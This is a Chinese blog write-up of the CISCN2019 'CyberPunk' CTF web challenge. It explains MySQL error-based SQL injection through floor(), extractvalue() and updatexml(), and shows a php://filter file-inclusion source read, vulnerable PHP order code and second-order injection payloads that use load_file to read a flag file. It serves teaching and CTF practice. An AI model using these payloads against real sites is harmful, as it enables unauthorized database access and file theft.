报错注入——[CISCN2019 华北赛区 Day1 Web5]CyberPunk

报错注入

报错注入有很多种,其中最常用的三种分别是floor()、extractvalue()、updatexml(),这里附上一个参考链接https://www.jianshu.com/p/bc35f8dd4f7c

  • floor()报错注入方法:select count(*) from infomation_schema.tables group by concat((select user()),floor(rand(0)*2);
    打开MySQL命令框输入命令查看报错信息。

  • extractvalue()报错注入方法:select extractvalue(1,concat(0x7e,(select user()),0x7e));
    extractvalue()接收两个参数,第一个XML文档,第二个xpath语句。xpath语句格式错误返回数据。MySQL命令行中测试查看。

  • updatexml()报错注入方法:select updatexml(1,concat(0x7e,(select user()),0x7e,1);
    查询出所有库以及security中所有表的信息。

通常会搭配MySQL的LOAD_FILE(file_name)函数读取一个文件并将其内容作为字符串返回,如读取flag文件等。下面通过一道题目进行注入实现:

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

题目直接给了提示<!--?file=?-->,说明可能存在文件包含漏洞,于是用filter伪协议读取源码?file=php://filter/read=convert.base64-encode/resource=xxx.php

然后就是代码审计了,发现在confirm.php和change.php页面中存在注入漏洞。提交订单时对姓名和电话都进行了过滤,但是没有过滤地址,导致在预编译处理之后,在修改订单处存在二次注入。在'old_address'='".$row['address']."'处,用了一开始提交的地址,从而造成了恶意代码的拼接。

confirm.php 处关键代码:

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();

change.php 处关键代码:

$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

所以在提交订单的时候的地址处构造一个用来注入的语句,然后再修改一下订单,完成注入。由于flag太长,需要通过改变substr的起始值,才能获得全部的flag。

extractvalue()

1' where user_id=extractvalue(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e));#
1' where user_id=extractvalue(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e));#

updatexml()

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
posted @ 2020-09-07 11:42  seven昔年  阅读(209)  评论(0编辑  收藏  举报